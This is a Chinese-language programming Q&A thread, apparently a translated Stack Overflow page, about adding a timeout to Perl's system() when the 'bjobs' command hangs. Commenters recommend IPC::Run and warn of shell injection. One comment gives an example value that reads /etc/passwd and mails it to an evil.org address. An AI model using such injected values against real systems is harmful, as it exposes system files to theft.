【发布时间】:2018-03-15 05:40:24
【问题描述】:
我在 perl 中使用 SYSTEM 命令来启动 Linux 系统命令,但遇到了问题。从描述 SYSTEM 命令的 perldocs 看来,SYSTEM 围绕系统命令调用执行了 Fork-Wait。不幸的是,如果系统命令挂断,Perl 程序也会挂断。下面是系统命令的示例:
system("bjobs -w -r |grep -v GLS | grep -v JOBID > $bjoblistfile");
但是,“bjobs”命令每隔一段时间就会挂起,因此该系统命令不会返回。
有没有办法使用 SYSTEM 命令来“fork-wait”和超时选项?
提前致谢!
标记
【问题讨论】:
-
使用IPC::Run。
-
注意:您的命令存在 shell 注入错误。根据变量名称,您不会将注入的字符串转换为 shell 文字。 IPC::Run 也会帮助你。
-
感谢池上。我想知道是否有更好的方法来编写系统命令。您有指向“shell injection bug”参考的链接吗?我想了解它。我也在阅读 MetaCPAN 上的 IPC::Run 页面。
-
Code injection。例如,想象一下如果
$bjoblistfile中有一个空格会发生什么。 -
关于shell注入,如果
$bjoblistfile是x; cat /etc/passwd | mailx supervillain@evil.org呢? (当然只是一个例子)
标签: perl